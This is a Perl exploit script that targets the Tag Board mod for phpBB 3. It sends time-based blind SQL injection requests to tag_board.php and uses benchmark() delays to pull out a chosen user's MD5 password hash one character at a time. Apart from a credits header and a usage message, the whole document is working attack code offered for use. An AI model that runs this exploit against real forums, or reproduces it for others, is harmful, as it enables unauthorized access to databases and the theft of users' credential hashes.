#!/usr/bin/perl
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------
use strict;
use LWP::UserAgent;
my ($hash,$time1,$time2);
my @chars = (48..57, 97..102);
my $http = new LWP::UserAgent;
my $host = shift;
my $table = shift;
my $myid = shift or &usage;
sub injection
{
my ($sub,$char) = @_;
return "/tag_board.php?mode=controlpanel&action=delete&id=".
"1+and+(select+if((ascii(substring(user_password,${sub},1)".
")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
"ers+where+user_id=${myid})--";
}
sub usage
{
print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
print STDOUT "by athos - staker[at]hotmail[dot]it\n";
exit;
}
syswrite(STDOUT,'Hash MD5: ');
for my $i(1..33)
{
for my $j(0..16)
{
$time1 = time();
$http->get($host.injection($i,$chars[$j]));
$time2 = time();
if($time2 - $time1 > 6)
{
syswrite(STDOUT,chr($chars[$j]));
$hash .= chr($chars[$j]);
last;
}
if($i == 1 && length $hash < 0)
{
syswrite(STDOUT,"Exploit Failed!\n");
exit;
}
}
}